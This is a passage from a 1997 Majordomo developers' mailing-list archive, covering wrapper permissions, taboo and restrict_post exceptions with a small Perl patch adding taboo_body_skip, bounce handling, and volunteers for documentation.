intended to say "no special permissions". DW> Just to clarify, the Mj user would be owner, *not* root like the 1.xx DW> Mj wrapper. That's how I figured it should be, but when it comes right down to it I never understood the reason that the 1.9x wrapper was owned by root. DW> For example, imagine, if you will, the ability to run a couple of DW> simple commands with only the ability to write in the Mj bin directory: But you only get Majordomo's permissions, which you must have anyway since you can write in the directory in the first place. Wrappers are a big mess. That's why I don't like them, and some other kind soul is going to have to figure out how to make one work properly and send me patches. I simply can't blow the time to worry about it. DW> If the Mj installers on Mj-users are any indication, a world writable DW> bin directory and a misinstalled wrapper aren't much of a stretch. I'm trying to make things as easy to use as possible; the postinstall step can easily check all the permissions it wants. It can even reset them. DW> There are a lot of security measures that can and should be taken in a DW> wrapper. The person who writes it should keep that in mind. - J< From owner-majordomo-workers-outgoing Fri Aug 15 12:14:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA26577 for majordomo-workers-outgoing; Fri, 15 Aug 1997 10:59:59 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA26454 for ; Fri, 15 Aug 1997 10:59:28 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA16566; Fri, 15 Aug 1997 13:02:03 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Can restrict_post be tied to taboo_headers, etc.? References: <199708151608.NAA11828@ecology.bio.dfo.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 13:02:03 -0500 In-Reply-To: bill@ecology.bio.dfo.ca's message of Fri, 15 Aug 1997 13:08:16 -0300 (ADT) Message-ID: Lines: 29 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BS" == Bill Silvert writes: BS> Perhaps have a new list of rexeps called dubious_posters so that for BS> example: That gives me the idea of having named groups of regular expressions that can be used in the access control language: regex_groups <; Fri, 15 Aug 1997 09:54:32 -0700 (PDT) Received: from PO8.MIT.EDU by MIT.EDU with SMTP id AB09284; Fri, 15 Aug 97 12:56:59 EDT Received: from REGGIE26.MIT.EDU by po8.MIT.EDU (5.61/4.7) id AA02043; Fri, 15 Aug 97 12:56:57 EDT Date: Fri, 15 Aug 97 12:56:57 EDT Message-Id: <9708151656.AA02043@po8.MIT.EDU> X-Sender: kevink@po8.mit.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-workers@greatcircle.com (Majordomo developers) From: Kevin Kelleher Subject: Re: Can restrict_post be tied to taboo_headers, etc.? Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 10:33 AM 8/15/97 -0300, Bill Silvert wrote: > >What we would like to be able to do is have a combination of taboo_* and >restrict_post so that we can implement the following sort of rule: > >IF the address matches a taboo THEN bounce UNLESS user is on the list. > I know this may sound klunky, but it is something I'll do if my own lists start getting spammed: Make the list moderated. Use procmail at my -approval address to pick off the bounced mail, pass it through a spam filter, approve it and send it back to the list. Some folks have already developed very good spam filters using procmail, and it (like majordomo) is free. Also, you can choose what to do with the mail that isn't automatically approved: whether to throw all or some of it away, autoreply to others, and look at the rest yourself. I already do some things are are different in function but the same in priciple: for instance, I maintain a set of subscriber lists on a separate site (separate from the mj site, I mean) that subscribers can query, sort, and so on, because the lists are related but mutually exclusive, and the people want to know about who's on any of the related lists. They also want to know who's in what city, so I'm going to add that soon, too. ________________________________________________________________ Kevin Kelleher kevink@mit.edu http://world.std.com/~fury/ From owner-majordomo-workers-outgoing Fri Aug 15 12:39:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA09050 for majordomo-workers-outgoing; Fri, 15 Aug 1997 11:52:50 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA08999 for ; Fri, 15 Aug 1997 11:52:38 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA17515; Fri, 15 Aug 1997 13:55:12 -0500 (CDT) To: Bill.Houle@SanDiegoCA.NCR.COM (Bill Houle) Cc: majordomo-workers@greatcircle.com Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <199708151522.KAA14175@sina.hpc.uh.edu> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 13:55:12 -0500 In-Reply-To: Bill.Houle@SanDiegoCA.NCR.COM's message of Fri, 15 Aug 1997 08:23:18 -0700 Message-ID: Lines: 34 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [I'm directing this back to majordomo-workers because I think it's relevant. Since I consider it immoral to post private email, I'm paraphrasing Bill's questions.] >>>>> "BH" == Bill Houle writes: BH> [Are you cooking up something new for bounce handling, or are you using BH> BounceFilter.] - JLT I'm using a combination of BounceFilter and AutoBounce. Both are on ftp.hpc.uh.edu. The way I plan for it to work is that incoming bounces will be parsed (like AutoBounce) , and every so often a single-address-envelope probe will go out (like BounceFilter) for perfect detection. (qmail will always get perfect detection.) Receipt of a bounce changes the subscriber class to 'bounce' (so they get no more mail) and a separate bounce probe will go out (after M minutes and again every N hours) straight to them containing a token that they can return to set themselves back to active status. If the token doesn't come back after Q tries, they're unsubscribed. There's a bh-workers list at lists.oulu.fi for folks interested in bounce handling, but it's dormant at the moment while Norbert finishes his thesis. BH> [I'd like to have -owner and -approval under majordomo's control BH> instead of hardcoded into the aliases.] - JLT Right now owner is hardcoded by the aliases but once the bounce handling goes in it will be config-settable. As for approval, I just don't see how there can be an approval address since the entity (or entities) that gets selected to approve a request can be selected at random. I suppose it could feed back to all of them, or one 'master' could be selected. Right now I'm just having that master be the list owner. - J< From owner-majordomo-workers-outgoing Fri Aug 15 12:43:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA09823 for majordomo-workers-outgoing; Fri, 15 Aug 1997 09:28:35 -0700 (PDT) Received: from java.aboard.co.uk (java.aboard.co.uk [194.73.51.130]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA09801 for ; Fri, 15 Aug 1997 09:28:20 -0700 (PDT) Received: (from nick@localhost) by java.aboard.co.uk (8.8.7/8.6.9) id RAA26281; Fri, 15 Aug 1997 17:30:35 +0100 From: Nick Perry Message-ID: <19970815173035.54935@amulation.co.uk> Date: Fri, 15 Aug 1997 17:30:35 +0100 To: Bill Silvert Cc: majordomo-workers@greatcircle.com Subject: Re: Can restrict_post be tied to taboo_headers, etc.? References: <199708151333.KAA07841@ecology.bio.dfo.ca> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=17pEHd4RhPHOinZp X-Mailer: Mutt 0.81 In-Reply-To: <199708151333.KAA07841@ecology.bio.dfo.ca>; from Bill Silvert on Fri, Aug 15, 1997 at 10:33:10AM -0300 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii On Fri, Aug 15, 1997 at 10:33:10AM -0300, Bill Silvert wrote: > What we would like to be able to do is have a combination of taboo_* and > restrict_post so that we can implement the following sort of rule: > > IF the address matches a taboo THEN bounce UNLESS user is on the list. The trouble about that as a general feature, is that whilst fairly simple to implement, the choice of taboo_body is somewhat arbitary. Logically one ought to have exclusions not only for each type of bounce check (taboo_body, taboo_headers, global_taboo_*, administrivia, etc), but each item within those checks (because, even list members will need to have some taboos applied to them). Otherwise there is the horrendous possibility of having something like taboo_body_subscribers, taboo_body_nonsubscribers, etc.. etc... However for your needs, here and now, the following patch against 1.94.3 does what you need. It adds a config item taboo_body_skip, which like restrict_post, takes a list of files. Mail from people in that file bypasses the taboo_body check only. In your case set taboo_body_skip to the name of the list (and its digest version if you have one). Nick -- Nick Perry | Home / Recreation | Work - AboarD | | LONDON SW1, UK | LONDON SW10, UK | | http://www.amulation.co.uk/nick | http://www.aboard.co.uk | | nick.perry@amulation.co.uk | np@aboard.co.uk | --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="taboo.patch" --- config_parse.pl.orig Fri Aug 15 17:09:38 1997 +++ config_parse.pl Fri Aug 15 17:11:22 1997 @@ -128,6 +128,7 @@ 'subject_prefix', '', # prefix for the subject line 'taboo_headers', '', # if a header matches, review message 'taboo_body', '', # if body matches, review message + 'taboo_body_skip', '', # bypass taboo_body if sender is listed # stuff for digest below 'digest_volume', '1', 'digest_issue', '1', @@ -364,6 +365,11 @@ "If any line of the body matches one of these regexps, then the message will be bounced for review.", +'taboo_body_skip', +"If defined, mail from addresses listed in these files (colon or +space separated) will bypass taboo_body checks. By default, +these files are relative to the lists directory.", + 'digest_volume', "The current volume number", @@ -440,6 +446,7 @@ 'subject_prefix', 'resend', 'taboo_headers', 'resend', 'taboo_body', 'resend', + 'taboo_body_skip', 'resend', # digest here 'digest_volume', 'digest', 'digest_issue', 'digest', @@ -494,6 +501,7 @@ 'subject_prefix', 'grab_word', 'taboo_headers', 'grab_regexp_array', 'taboo_body', 'grab_regexp_array', + 'taboo_body_skip', 'grab_restrict_post', # stuff for digest below 'digest_volume', 'grab_integer', 'digest_issue', 'grab_integer', --- resend.orig Wed Apr 2 15:04:48 1997 +++ resend Fri Aug 15 17:07:36 1997 @@ -421,6 +421,19 @@ # $result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); +# Can we bypass certain taboo checks (currently taboo_body) because the sender +# has been 'blessed' in a list defined by taboo_body_skip? +# +if (($config_opts{$opt_l,"taboo_body_skip"} ne '') && ! defined ($approved)) { + # Rather than re-invent the wheel, we'll abuse the the check_sender routine + $old_opt_I = $opt_I; # store this + $opt_I = $config_opts{$opt_l,"taboo_body_skip"}; + $taboo_body_skip = &check_sender; + if ($taboo_body_skip =~ /\S/) { undef $taboo_body_skip } + else { $taboo_body_skip = 1 } + $opt_I = $old_opt_I; # restore +} + # If approval is required, and we haven't got it, boing it goes.. # $result = "Approval required: $result" if @@ -788,7 +801,7 @@ # if ( !defined($approved)) { - if ( $#taboo_body >= $[ + if ( $#taboo_body >= $[ && (!defined($taboo_body_skip)) && eval $is_taboo_body) { $gonna_bounce .= " taboo body match \"$taboo\" at line $body_line_count "; --17pEHd4RhPHOinZp-- From owner-majordomo-workers-outgoing Fri Aug 15 13:12:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA21734 for majordomo-workers-outgoing; Fri, 15 Aug 1997 13:09:10 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA21704 for ; Fri, 15 Aug 1997 13:09:01 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA19112; Fri, 15 Aug 1997 15:11:46 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Can restrict_post be tied to taboo_headers, etc.? References: <199708151333.KAA07841@ecology.bio.dfo.ca> <19970815173035.54935@amulation.co.uk> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 15:11:45 -0500 In-Reply-To: Nick Perry's message of Fri, 15 Aug 1997 17:30:35 +0100 Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "NP" == Nick Perry writes: NP> The trouble about that as a general feature, is that whilst fairly NP> simple to implement, the choice of taboo_body is somewhat arbitary. NP> Logically one ought to have exclusions not only for each type of bounce NP> check (taboo_body, taboo_headers, global_taboo_*, administrivia, etc), Already in 2.0. (I keep stating what's already in 2.0 in the hope that folks will eventually stop perpetrating gross hacks on top of 1.9x and start helping to make 2.0 the solution to all of those gross hacks.) NP> but each item within those checks (because, even list members will need NP> to have some taboos applied to them). Otherwise there is the horrendous NP> possibility of having something like taboo_body_subscribers, NP> taboo_body_nonsubscribers, etc.. etc... Perhaps you could grade the severity of each taboo_*/admin_* item and let some addresses slip by higher severities.... I've already overloaded the *_body items to let you limit the search by line number; I could add some additional syntax to rate severity. Onto the todo list... (The alternative is named groups of taboo items, which seems more than is necessary here.) - J< From owner-majordomo-workers-outgoing Sat Aug 16 08:27:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA26595 for majordomo-workers-outgoing; Sat, 16 Aug 1997 08:10:06 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id IAA26584 for majordomo-workers@greatcircle.com; Sat, 16 Aug 1997 08:10:01 -0700 (PDT) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA24080 for ; Thu, 14 Aug 1997 05:17:35 -0700 (PDT) Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for majordomo-workers@greatcircle.com id JAA19224; Thu, 14 Aug 1997 09:18:34 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199708141218.JAA19224@ecology.bio.dfo.ca> Subject: subscribe/nosubscribe configuration To: majordomo-workers@greatcircle.com (Majordomo developers) Date: Thu, 14 Aug 1997 09:18:29 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Bill Houle makes what I consider to be an excellent suggestion, when he writes: >I would like to see the "ban" idea expanded into an allow/deny mechanism >and be enabled on the per-list level. My thought was to add "subscribe" and >"nosubscribe" regexp arrays to the config file, similar to adv/noadvertise. > >Addresses matching a "subscribe" regexp would bypass whatever closed/open >setting was in place and automatically add the user. The subscribe list >would be empty by default. +confirm would still be honored if set. This could be used to set up a virtual intranet and I think it has a lot of potential value. >Addresses matching an "unsubscribe" regexp would never get to the >closed/open/auto verification and simply be denied. The unsubscribe list >would be empty by default. Other than as a temporary defense against spammers, I'm not equally convinced of the merit of the unsubscribe list, but others may find it useful. However, I think that it may be useful to add a server command that would let the user include a comment in messages that get bounced to the list-owner for approval, to make the closed lists more efficient in cases where there might be special circumstances for adding someone. For example, if I set up a list which is open only to members of my ministry by allowing all subscriptions from *.dfo.ca and requiring approval for all others, a colleague who is working on temporary assignment at a university might try to subscribe from visitor@mcgill.ca and get refused unless he tells me who he is -- this could most easily be done if the approval message said not only that visitor@mcgill.ca seeks approval, but also included the line comment: visitor@mcgill.ca is really buddy@arctic.dfo.ca I don't know if this would be easy to implement, but if so, it could help. I've just had to ask over 100 subscribers here to unsubscribe and resubscribe to closed lists, and some of the approvals were pretty hard to figure out. -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-workers-outgoing Sun Aug 17 18:42:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA24167 for majordomo-workers-outgoing; Sun, 17 Aug 1997 18:29:31 -0700 (PDT) Received: from wawura.off.connect.com.au (wawura.off.connect.com.au [202.21.9.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA24160 for ; Sun, 17 Aug 1997 18:29:26 -0700 (PDT) Received: from connect.com.au (andrewm@localhost) by wawura.off.connect.com.au with ESMTP id LAA09910 (8.8.5/IDA-1.6); Mon, 18 Aug 1997 11:32:17 +1000 (EST) Message-ID: <199708180132.LAA09910@wawura.off.connect.com.au> To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Re: Can restrict_post be tied to taboo_headers, etc.? In-reply-to: Your message of "15 Aug 1997 15:11:45 EST." Date: Mon, 18 Aug 1997 11:32:16 +1000 From: Andrew McNamara Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >Perhaps you could grade the severity of each taboo_*/admin_* item and let >some addresses slip by higher severities.... I've already overloaded the >*_body items to let you limit the search by line number; I could add some >additional syntax to rate severity. Onto the todo list... (The >alternative is named groups of taboo items, which seems more than is >necessary here.) Random thought - why not do it using weightings - so a message that contains "zubzcribe" (-20) and not much else gets diverted, but a message that contains "zubzcribe" and 20 other words is okay (+1 per word). You could also say a list zubzcriber starts with +10 points. --- Andrew McNamara (Senior System Administrator) connect.com.au Pty Ltd Lvl 3, 213 Miller St, North Sydney, NSW 2060, Australia Phone: +61 2 9959 5959, Fax: +61 2 9966 1960 From owner-majordomo-workers-outgoing Sun Aug 17 19:12:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA26890 for majordomo-workers-outgoing; Sun, 17 Aug 1997 18:59:12 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA26873 for ; Sun, 17 Aug 1997 18:59:05 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA19477; Sun, 17 Aug 1997 21:02:10 -0500 (CDT) To: Andrew McNamara Cc: majordomo-workers@greatcircle.com Subject: Re: Can restrict_post be tied to taboo_headers, etc.? References: <199708180132.LAA09910@wawura.off.connect.com.au> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Aug 1997 21:02:09 -0500 In-Reply-To: Andrew McNamara's message of Mon, 18 Aug 1997 11:32:16 +1000 Message-ID: Lines: 31 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "AM" == Andrew McNamara writes: AM> Random thought - why not do it using weightings - so a message that AM> contains "zubzcribe" (-20) and not much else gets diverted, but a AM> message that contains "zubzcribe" and 20 other words is okay (+1 per AM> word). You could also say a list zubzcriber starts with +10 points. Sounds complicated, and I'm not really sure it's possible given the constraints that I have to work with, but I'll give you those constraints and see if you or anyone else can come up with anything interesting. The taboo/admin header/body regexps currently get distilled into a single subroutine that is revaled into a Safe package which can see only two variables: the current line and the current line number. This routine returns an array containing some data about the match (if there was one). There are additional complications because there are inverted matches (things that much match for the message _not_ to bounce) but that's basically it. Now I can slip severities into that framework without making things that much more difficult. I can't see how I can put a scoring scheme in there, and I'm not sure I really want to. The example you give above lets people who send a zubscribe request along with a big signature get through just because they attached a big signature. Perhaps, though, there's room for a completely separate scoring mechanism that isn't saddled with backwards compatibility. Feel free to come up with one; I'm not closed to any good ideas. - J< From owner-majordomo-workers-outgoing Sun Aug 17 21:42:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA03727 for majordomo-workers-outgoing; Sun, 17 Aug 1997 21:39:00 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA03720 for ; Sun, 17 Aug 1997 21:38:55 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id AAA12365; Mon, 18 Aug 1997 00:41:55 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA04809; Mon, 18 Aug 1997 00:41:52 -0400 From: jkahila@world.std.com (John Kahila) To: Majordomo-workers@GreatCircle.COM Subject: Introduction Date: Mon, 18 Aug 1997 00:42:15 -0400 Message-Id: <3405cff2.27803682@world.std.com> References: <199708160144.SAA28001@honor.greatcircle.com> In-Reply-To: <199708160144.SAA28001@honor.greatcircle.com> X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi. I just joined m-w, here's a short intro: I recently began administering a new Majordomo list that has bilingual posts (Finnish-English). Have begun to take a mild interest in MIME, at least for charsets. :-) I am a "product designer" (read: spec writer mainly) for Thomson Investment Software in Boston -- I talk to end users to get a picture of their requirements, then try to translate that into something implementable. I'm their "math guy"; others handle specs for DB features and so on. Worked as a PC applications programmer for a number of years (C and Pascal mainly), but don't do much programming nowadays beyond the odd VB macro. Am familiar with basic Unix shell stuff (as seen by a user), but not much beyond that. Don't know perl, so originally didn't consider joining this list. But it was recently suggested that there are other opportunities here besides development. Will probably try to pick up enough familiarity with perl to hold an intelligible conversation, though. It seems that the best fit might be doc or FAQ writing for end users? Though it's perhaps a bit early yet for a FAQ. I gather that Kevin is coordinating the docs, so here's a question for him ... is there something in particular to look at that doesn't require perl expertise? If I knew the application better I might just try to wade into something like the config switches, but I'll probably need a bit of guidance at the start. Thanks, john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Mon Aug 18 08:32:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA08827 for majordomo-workers-outgoing; Mon, 18 Aug 1997 08:22:41 -0700 (PDT) Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA08794 for ; Mon, 18 Aug 1997 08:22:30 -0700 (PDT) Received: from PO8.MIT.EDU by MIT.EDU with SMTP id AA18186; Mon, 18 Aug 97 11:25:35 EDT Received: from REGGIE26.MIT.EDU by po8.MIT.EDU (5.61/4.7) id AA18300; Mon, 18 Aug 97 11:25:35 EDT Date: Mon, 18 Aug 97 11:25:35 EDT Message-Id: <9708181525.AA18300@po8.MIT.EDU> X-Sender: kevink@po8.mit.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: jkahila@world.std.com (John Kahila), Majordomo-workers@GreatCircle.COM From: Kevin Kelleher Subject: Re: Introduction Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 12:42 AM 8/18/97 -0400, John Kahila wrote: > >I gather that Kevin is coordinating the docs, so here's a question for >him ... is there something in particular to look at that doesn't require >perl expertise? If I knew the application better I might just try to >wade into something like the config switches, but I'll probably need a >bit of guidance at the start. > I'm not coordinating - as far as I know the way it works is that someone finds a part they'd like to document, declares to the list "I'm working on this" and if someone else is already doing it you have to pick something else. I don't think many people are working on documentation. I've done a little so far, and am trying to do more, but that's as far as I've gotten. There are some general things that don't require perl expertise: Jason recent asked that someone write new "list-owner-info" material and "what is majordomo" docs. No one is working on either at the moment, so you are welcome to them. There are probably more I'm certainly glad to talk to you about the docs, and know some spots on the web for perl tutorials if you're interested. This is a good time to be working on documentation - it would be nice if mj2 could come into the world with a complete set of docs on every level. ________________________________________________________________ Kevin Kelleher kevink@mit.edu http://world.std.com/~fury/ From owner-majordomo-workers-outgoing Mon Aug 18 09:58:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA14056 for majordomo-workers-outgoing; Mon, 18 Aug 1997 09:46:10 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA14013 for ; Mon, 18 Aug 1997 09:45:55 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA00086; Mon, 18 Aug 1997 11:49:09 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Introduction References: <9708181525.AA18300@po8.MIT.EDU> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 18 Aug 1997 11:49:09 -0500 In-Reply-To: Kevin Kelleher's message of Mon, 18 Aug 97 11:25:35 EDT Message-ID: Lines: 26 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "KK" == Kevin Kelleher writes: KK> There are some general things that don't require perl expertise: Jason KK> recent asked that someone write new "list-owner-info" material and KK> "what is majordomo" docs. No one is working on either at the moment, KK> so you are welcome to them. There are probably more My intention with the elp (silent h) texts is that instead of one massive document there will be several smaller, focused ones. Sending just an elp command will result in a command overview being sent. There should be a command summary, and more involved documents on each topic. There should be a list admin overview and more in-depth admin topics available also. These can be started without even knowing what's new in 2.0, since almost all of the old commands are still supported. When an issue comes up, I can say how it works and someone who can write can translate it into English. Also, if you just look at the file lib/mj_cf_data.pl, it has in it all of the descriptions of the config variables. Many of these are unchanged from 1.9x; judging from the number of complaints we get about the config file on majordomo-users, we need to spruce these up a bit as well. I do need to go through that file and get rid of the ones that have no place in 2.0, though. - J< From owner-majordomo-workers-outgoing Mon Aug 18 18:12:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA20238 for majordomo-workers-outgoing; Mon, 18 Aug 1997 18:03:32 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA20220 for ; Mon, 18 Aug 1997 18:03:25 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id VAA12083; Mon, 18 Aug 1997 21:06:32 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA24667; Mon, 18 Aug 1997 21:06:18 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@greatcircle.com Subject: Re: Introduction Date: Mon, 18 Aug 1997 21:06:33 -0400 Message-Id: <33f8ef96.1078505@world.std.com> References: <9708181525.AA18300@po8.MIT.EDU> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 18 Aug 1997 11:49:09 -0500, Jason L Tibbitts III wrote: >>>>>> "KK" =3D=3D Kevin Kelleher writes: > >KK> There are some general things that don't require perl expertise: = Jason >KK> recent asked that someone write new "list-owner-info" material and >KK> "what is majordomo" docs. No one is working on either at the = moment, >KK> so you are welcome to them. There are probably more > >My intention with the elp (silent h) texts is that instead of one = massive >document there will be several smaller, focused ones. Sending just an = elp >command will result in a command overview being sent. There should be a >command summary, and more involved documents on each topic. There = should >be a list admin overview and more in-depth admin topics available also. > >These can be started without even knowing what's new in 2.0, since = almost >all of the old commands are still supported. When an issue comes up, I = can >say how it works and someone who can write can translate it into = English. > >Also, if you just look at the file lib/mj_cf_data.pl, it has in it all = of >the descriptions of the config variables. Many of these are unchanged = from >1.9x; judging from the number of complaints we get about the config file= on >majordomo-users, we need to spruce these up a bit as well. > >I do need to go through that file and get rid of the ones that have no >place in 2.0, though. > > - J< OK, I think I'll start then with the config variables since it sounds like a manageable-sized task, and it seems also to fit into the general "list owner info" category. Once I get a feel for how much time it takes, I may include other stuff. Also, somebody (I think Kevin) mentioned in another post that it would be nice to have a web site that indicated who was working on what. I am willing to manage that at least for docs, and probably other stuff if it doesn't take too much time. People will have to live with my text-only HTML, but hey. :-) Will post an URL once I have the page set up, then others can advise me as they pick up tasks (or maybe I could learn how to use forms...). Thanks, john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Mon Aug 18 19:12:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA27582 for majordomo-workers-outgoing; Mon, 18 Aug 1997 19:01:52 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA27568 for ; Mon, 18 Aug 1997 19:01:45 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA10654; Mon, 18 Aug 1997 21:04:51 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Introduction References: <9708181525.AA18300@po8.MIT.EDU> <33f8ef96.1078505@world.std.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 18 Aug 1997 21:04:50 -0500 In-Reply-To: jkahila@world.std.com's message of Mon, 18 Aug 1997 21:06:33 -0400 Message-ID: Lines: 23 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JK" == John Kahila writes: JK> I think I'll start then with the config variables since it sounds like JK> a manageable-sized task, and it seems also to fit into the general JK> "list owner info" category. It's pretty manageable, but keep in mind a couple of things. I am changing some of the config stuff; the types as listed are being completely redone as I rewrite a large part of the underlying config system. (Basically, all complicated parsing now happens at set time, which lets me do full syntax checking _and_ save the data preparsed which should eliminate a bunch of overhead.) So at least the description of the types will have to change because I streamlined the types in the process. Also, I just started with that file automatically generated from 1.94.3; some of those variables mean absolutely nothing. Many of them are obsolete but will be used for backwards compatibility. While you're at it, look at the groups each variable is in. I just made some up arbitrarily to see that it works; I'm sure it can be done much better. - J< From owner-majordomo-workers-outgoing Mon Aug 18 21:27:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA21204 for 